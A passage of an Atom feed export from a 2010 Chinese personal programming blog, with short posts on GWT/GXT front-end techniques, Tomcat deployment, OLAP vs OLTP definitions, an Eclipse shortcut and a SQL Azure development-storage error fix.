term='Oracle'/><title type='text'>OLAP(On_line Analytical Processing联机分析处理) 和 OLTP(On_line
Transaction Processing联机事务处理)</title><content type='html'>&lt;p&gt;OLAP(On_line Analytical Processing联机分析处理) 和 OLTP(On_line Transaction Processing联机事务处理)&lt;/p&gt;&lt;br/&gt;&lt;p&gt;OLTP：On_line Transaction Processing  联机事务处理 ，以业务处理为主&lt;/p&gt;&lt;br/&gt;&lt;p&gt;OLAP：On_line Analytical Processing&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  联机分析处理，则是专门为支持复杂的分析操作而设计的，侧重于对决策人员和高层管理人员的决策支持&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-8431089218523569233?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/8431089218523569233/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/03/olaponline-analytical-processing.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/8431089218523569233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/8431089218523569233'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/03/olaponline-analytical-processing.html' title='OLAP(On_line Analytical Processing联机分析处理) 和 OLTP(On_line&#xA;Transaction Processing联机事务处理)'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-3816385018711474023</id><published>2010-03-29T21:56:00.000+08:00</published><updated>2010-08-13T11:22:03.490+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='娱乐'/><title type='text'>微软科幻片</title><content type='html'>&lt;br/&gt;&lt;br/&gt;http://www.javaeye.com/news/15361&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-3816385018711474023?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/3816385018711474023/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/03/blog-post.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3816385018711474023'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3816385018711474023'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/03/blog-post.html' title='微软科幻片'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-329419895811253616</id><published>2010-03-23T17:16:00.000+08:00</published><updated>2010-08-13T11:22:03.502+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='娱乐'/><title type='text'>谷歌正式宣布退出中国 google.cn关闭</title><content type='html'>&lt;a href="http://software.it168.com/a2010/0323/864/000000864075.shtml" target="_blank"&gt;&lt;span&gt;&lt;img border="0" src="http://hiphotos.baidu.com/liuspring/pic/item/57be1346f35ab63f6b63e594.jpg" class="blogimg" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-329419895811253616?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/329419895811253616/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/03/googlecn.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/329419895811253616'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/329419895811253616'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/03/googlecn.html' title='谷歌正式宣布退出中国 google.cn关闭'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-8068349492854994254</id><published>2010-03-11T23:48:00.000+08:00</published><updated>2010-08-13T11:22:03.513+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gwt'/><title type='text'>GWT GXT探索</title><content type='html'>因为客户不满意界面设计，人家看中了兄弟单位用的系统的样子，可他却不知那时cs程序，要想用bs做成那样的效果还是先天不足，就这样开始了GWT GXT的探索，一边摸索一边用GXT重写这个系统&lt;br/&gt;现在想想 经历了三个阶段&lt;br/&gt;刚开始是demo阶段，因为不知道路走不走的通，全面摸索GXT能实现的效果，也没注意模块的规划，甚至就一个类&lt;br/&gt;而后发现还是能走通的，就开始添砖加瓦，发现代码越加越乱，决心重构，定义了多个包，多个类负责不同的功能模块，定义了一些Panel，一下子清晰多了，也遇到了不同模块间互相调用的问题，自己想当然的办法就是在一个类中声明每个模块作为属性，就像一个总管，每个屋子的钥匙我都有了，也认识到了这样的缺点，一些模块中的事件不等不在这个主管中定义&lt;br/&gt;现在Now，用一天时间再次改写，仿照Gxt中的例子Explorer&lt;br/&gt;1、将各个模块定义成com.extjs.gxt.ui.client.mvc.View，View中必须实现方法handleEvent(AppEvent event)，负责处理发给自己的事件&lt;br/&gt;2、为每个View定义com.extjs.gxt.ui.client.mvc.Controller，每个Controller中包含View，在这里定义View要处理的事件&lt;br/&gt;3、在Dispatcher中注册每个Controller&lt;br/&gt;&lt;br/&gt;这样，每个View各司其职，他们各自有各自的功能，会接收为他们定义的所有事件并处理，发送事件Dispatcher.forwardEvent(appEvent);&lt;br/&gt;&lt;br/&gt;感觉这次改写后 速度还没有改写前的快，现在每次操作url会自动添加Hash，想把它去掉，一直没找到根结&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-8068349492854994254?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/8068349492854994254/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/03/gwt-gxt.html#comment-form' title='1 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/8068349492854994254'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/8068349492854994254'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/03/gwt-gxt.html' title='GWT GXT探索'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-3725345314269825649</id><published>2010-03-03T01:21:00.000+08:00</published><updated>2010-08-13T11:22:03.533+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gwt'/><title type='text'>Gwt中为加载中的Frame加上wait</title><content type='html'>Gwt中调用panel的setUrl方法嵌入一个网页&lt;br/&gt;在网页加载过程中加入wait&lt;br/&gt;在页面中加入javascript&lt;br/&gt;var ready = false; &lt;br/&gt;$j(document).ready(function(){&lt;br/&gt;ready = true; &lt;br/&gt;});//这里用了jquery&lt;br/&gt;&lt;br/&gt;然后再java中声明&lt;br/&gt;public native boolean ready(Element frame)/*-{&lt;br/&gt;return frame.contentWindow.ready?true:false;&lt;br/&gt;}-*/;&lt;br/&gt;&lt;br/&gt;然后在设置Frame的url时&lt;br/&gt;olapFrame = centerCp.setUrl(GWT.getHostPageBaseURL()&lt;br/&gt;+ com.google.gwt.http.client.URL.encode(&amp;quot;jsp/showOlap.jsp?dim=&amp;quot;&lt;br/&gt;+ dims + &amp;quot;&amp;amp;dimname=&amp;quot; + colLabels + &amp;quot;&amp;quot;));&lt;br/&gt;final MessageBox box = MessageBox.wait(&amp;quot;等待&amp;quot;, &amp;quot;正在查询数据，请稍后...&amp;quot;, &amp;quot;查询中...&amp;quot;);&lt;br/&gt;final Element frame = olapFrame.getElement();&lt;br/&gt;final Timer t = new Timer() {&lt;br/&gt;@Override&lt;br/&gt;public void run() {&lt;br/&gt;if (ready(frame)) {&lt;br/&gt;this.cancel();&lt;br/&gt;box.close();&lt;br/&gt;}&lt;br/&gt;}&lt;br/&gt;};&lt;br/&gt;t.scheduleRepeating(100);&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-3725345314269825649?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/3725345314269825649/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/03/gwtframewait.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3725345314269825649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3725345314269825649'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/03/gwtframewait.html' title='Gwt中为加载中的Frame加上wait'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-3358149452638311293</id><published>2010-03-03T01:13:00.000+08:00</published><updated>2010-08-13T11:22:03.542+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Eclipse'/><title type='text'>eclipse中的add import organize imports</title><content type='html'>organize imports应该是ctrl+shift+o的操作&lt;br/&gt;add import导入指定的类&lt;br/&gt;organize imports导入所有需要导入的类，并且如果有些import是没用的，那么eclipse会自动删除&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-3358149452638311293?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/3358149452638311293/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/03/eclipseadd-import-organize-imports.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3358149452638311293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3358149452638311293'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/03/eclipseadd-import-organize-imports.html' title='eclipse中的add import organize imports'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-322688203767423370</id><published>2010-03-03T01:11:00.001+08:00</published><updated>2010-08-13T11:22:03.560+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gwt'/><title type='text'>访问gwt嵌入页面中的元素</title><content type='html'>调用panel的setUrl方法嵌入一个网页&lt;br/&gt;要访问这个网页中的js变量 var abc&lt;br/&gt;setUrl返回一个Frame&lt;br/&gt;&lt;br/&gt;public native void jsGetVar(Element element)/*-{ &lt;br/&gt;var abc = element.contentWindow.abc;&lt;br/&gt;//element.contentWindow.document.getElementById(&amp;quot;name&amp;quot;);访问element&lt;br/&gt;}-*/;&lt;br/&gt;&lt;br/&gt;调用 jsGetVar(frame.getElement());&lt;br/&gt;&lt;br/&gt;参考:http://tailorcai.javaeye.com/blog/186897&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-322688203767423370?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/322688203767423370/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/03/gwt.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/322688203767423370'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/322688203767423370'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/03/gwt.html' title='访问gwt嵌入页面中的元素'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-1811316457193356252</id><published>2010-03-03T01:11:00.000+08:00</published><updated>2010-08-13T11:22:03.551+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gwt'/><title type='text'>gwt中JavaScript访问java代码</title><content type='html'>javascript 调用java代码&lt;br/&gt;//调用JAVA静态方法 &lt;br/&gt;//规则： @全路径类名::静态方法名(方法签名)(传入参数) &lt;br/&gt;//@com.capinfo.cdss.gwt.olap.client.ui.PartOlapCenterTab::saveOlapState&lt;br/&gt;&lt;br/&gt;(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava&lt;br/&gt;&lt;br/&gt;/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)&lt;br/&gt;&lt;br/&gt;(saveName,dims,rowDims,colDims,sql,colLabels,expandInfo,hideInfo,exp,field,remark);&lt;br/&gt;//调用JAVA非静态方法 &lt;br/&gt;//规则：实例对象.@全路径类名::方法名(方法签名)(传入参数) &lt;br/&gt;//this.@com.capinfo.cdss.gwt.olap.client.ui.PartOlapCenterTab::saveOlapState&lt;br/&gt;&lt;br/&gt;(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava&lt;br/&gt;&lt;br/&gt;/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)&lt;br/&gt;&lt;br/&gt;(saveName,dims,rowDims,colDims,sql,colLabels,expandInfo,hideInfo,exp,field,remark);&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;//调用JAVA的非静态属性 &lt;br/&gt;//规则：实例对象.@全路径类名::属性名&lt;br/&gt;//var field=this.@com.capinfo.cdss.gwt.olap.client.ui.PartOlapCenterTab::field; &lt;br/&gt;&lt;br/&gt;参考：http://java.sun.com/j2se/1.4.2/docs/guide/jni/spec/types.html#wp16432&lt;br/&gt;http://yonglin4605.javaeye.com/blog/568045&lt;br/&gt;http://yonglin4605.javaeye.com/blog/564829&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-1811316457193356252?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/1811316457193356252/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/03/gwtjavascriptjava.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1811316457193356252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1811316457193356252'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/03/gwtjavascriptjava.html' title='gwt中JavaScript访问java代码'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-173760380090123389</id><published>2010-03-03T01:07:00.000+08:00</published><updated>2010-08-13T11:22:03.780+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gwt'/><title type='text'>gwt 设置国际化</title><content type='html'>在*.gwt.xml中加入 显示中文&lt;br/&gt;&amp;lt;inherits name=&amp;quot;com.google.gwt.i18n.I18N&amp;quot;/&amp;gt;&lt;br/&gt;&amp;lt;extend-property name=&amp;quot;locale&amp;quot; values=&amp;quot;zh&amp;quot; /&amp;gt;&lt;br/&gt;在页面中加入&lt;br/&gt;&amp;lt;meta name=&amp;quot;gwt:property&amp;quot; content=&amp;quot;locale=zh&amp;quot; &amp;gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-173760380090123389?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/173760380090123389/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/03/gwt_03.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/173760380090123389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/173760380090123389'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/03/gwt_03.html' title='gwt 设置国际化'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-2972503052010971135</id><published>2010-03-03T01:05:00.000+08:00</published><updated>2010-08-13T11:22:03.789+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gwt'/><title type='text'>gxt 日期控件设置日期格式</title><content type='html'>ext-gwt 设置日期格式&lt;br/&gt;&lt;br/&gt;DateField date = new DateField();&lt;br/&gt;date.setPropertyEditor(new DateTimePropertyEditor(&amp;quot;yyyy-MM-dd&amp;quot;));&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-2972503052010971135?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/2972503052010971135/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/03/gxt.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2972503052010971135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2972503052010971135'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/03/gxt.html' title='gxt 日期控件设置日期格式'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-4683708453388172504</id><published>2010-02-02T18:16:00.000+08:00</published><updated>2010-08-13T11:22:03.853+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gwt'/><title type='text'>gwt 部署到Tomact Production Mode</title><content type='html'>在网上搜索了很多部署gwt到tomcat的blog，吸取了大家的经验，又发现一些问题，总结一下&lt;br/&gt;我是用的Google Plugin for Eclipse ，跟用gwt的sdk编译有点点不一样&lt;br/&gt;1、在gwt项目右键Google &amp;gt; GWT Compile，就会在项目中的war中得到编译后的文件&lt;br/&gt;To run the application as JavaScript in what GWT calls &amp;quot;production mode&amp;quot;, compile the application by right-&lt;br/&gt;&lt;br/&gt;clicking the project and choosing Google &amp;gt; GWT Compile. &lt;br/&gt;参考：http://code.google.com/webtoolkit/usingeclipse.html#compiling&lt;br/&gt;2、将war中这些文件复制到tomcat webapp/应用 目录下&lt;br/&gt;看一下WEB-INF\classes是不是有相应的class文件，要是没有用eclipse编译后复制过来&lt;br/&gt;3、这样就需要gwt-user.jar了&lt;br/&gt;url中也不需要?gwt.codesvr=172.20.66.140:9997这样的参数了&lt;br/&gt;4、打开tomcat访问相应html可能什么都出不来，或者访问数据库时出错，查看gwt编译时控制台输出，是不是跟web.xml中配的&lt;br/&gt;&lt;br/&gt;Servlet mapping是不是对应，&lt;br/&gt;比如&lt;br/&gt;Linking into D:\spring\workspace\fusionchart\war\olap.&lt;br/&gt;Link succeeded&lt;br/&gt;Compilation succeeded -- 92.640s&lt;br/&gt;我的web.xml原来是&lt;br/&gt;&amp;lt;servlet-mapping&amp;gt;&lt;br/&gt;&amp;lt;servlet-name&amp;gt;olap&amp;lt;/servlet-name&amp;gt;&lt;br/&gt;&amp;lt;url-pattern&amp;gt;/com.capinfo.cdss.gwt.olap.Olap/olap&amp;lt;/url-pattern&amp;gt;&lt;br/&gt;&amp;lt;/servlet-mapping&amp;gt;&lt;br/&gt;要改成&lt;br/&gt;&amp;lt;servlet-mapping&amp;gt;&lt;br/&gt;&amp;lt;servlet-name&amp;gt;olap&amp;lt;/servlet-name&amp;gt;&lt;br/&gt;&amp;lt;url-pattern&amp;gt;/olap/olap&amp;lt;/url-pattern&amp;gt;&lt;br/&gt;&amp;lt;/servlet-mapping&amp;gt;&lt;br/&gt;相应html中原来是&lt;br/&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot; language=&amp;quot;javascript&amp;quot; src=&amp;quot;com.capinfo.cdss.gwt.olap.Olap/com.capinfo.cdss.gwt.olap.Olap.nocache.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br/&gt;改成&lt;br/&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot; language=&amp;quot;javascript&amp;quot; src=&amp;quot;olap/olap.nocache.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br/&gt;还没闹清楚为什么会这样&lt;br/&gt;跟eclipse自动编译有关?高人告知啊&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-4683708453388172504?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/4683708453388172504/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/02/gwt-tomact-production-mode.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4683708453388172504'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4683708453388172504'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/02/gwt-tomact-production-mode.html' title='gwt 部署到Tomact Production Mode'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-3019369956098884732</id><published>2010-02-02T18:14:00.000+08:00</published><updated>2010-08-13T11:22:03.861+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='c# .net'/><title type='text'>连接Sql Azure</title><content type='html'>连接Sql Azure&lt;br/&gt;微软早就公布Sql Azure可以使用了，今天切身体验了一下，方法看下面链接&lt;br/&gt;http://blogs.msdn.com/sqlcrd/archive/2009/12/28/sql-azure.aspx&lt;br/&gt;&lt;br/&gt;测试asp.net连接时，启动项目报错：&lt;br/&gt;Windows Azure Tools: Failed to initialize the Development Storage service. Unable to start Development Storage. &lt;br/&gt;&lt;br/&gt;Failed to start Development Storage: the SQL Server instance ‘localhost\SQLExpress’ could not be found.&amp;#160;&amp;#160; Please configure the SQL Server instance for Development Storage using the ‘DSInit’ utility in the Windows Azure SDK.&lt;br/&gt;解决方法：&lt;br/&gt;go to the &amp;quot;Windows Azure SDK Command Prompt&amp;quot; &lt;br/&gt;执行：&lt;br/&gt;DSInit /sqlInstance:. /forceCreate&lt;br/&gt;&lt;br/&gt;再次重新启动，惊喜，报一堆这样的错误：&lt;br/&gt;&lt;br/&gt;命名空间“http://schemas.microsoft.com/developer/msbuild/2003”中的“PropertyGroup”。 的子元素&lt;br/&gt;命名空间“http://schemas.microsoft.com/developer/msbuild/2003”中的“ServiceHostingSDKInstallDir”。&lt;br/&gt;无效。应为可能元素的列表: 命名空间“http://schemas.microsoft.com/developer/msbuild/2003”中的“Property”。。&amp;#160;&amp;#160;&amp;#160; &lt;br/&gt;&lt;br/&gt;C:\Program Files\MSBuild\Microsoft\Cloud Service\v1.0\Microsoft.CloudService.targets&amp;#160;&amp;#160;&amp;#160; 9&amp;#160;&amp;#160;&amp;#160; 6&amp;#160;&amp;#160;&amp;#160; 杂项文件&lt;br/&gt;&lt;br/&gt;闹了半天是因为刚才&lt;br/&gt;开着&amp;quot;Windows Azure SDK Command Prompt&amp;quot; &lt;br/&gt;关了就OK了&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-3019369956098884732?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/3019369956098884732/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/02/sql-azure.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3019369956098884732'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3019369956098884732'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/02/sql-azure.html' title='连接Sql Azure'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-6880995043367863230</id><published>2010-01-30T06:12:00.000+08:00</published><updated>2010-08-13T11:22:03.868+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live'/><title type='text'>啊安装Google Plugin for Eclipse 真是太慢了</title><content type='html'>安装Google Plugin for Eclipse 真是太慢了，简直无法忍受，睡觉去&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-6880995043367863230?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/6880995043367863230/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/01/google-plugin-for-eclipse.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' 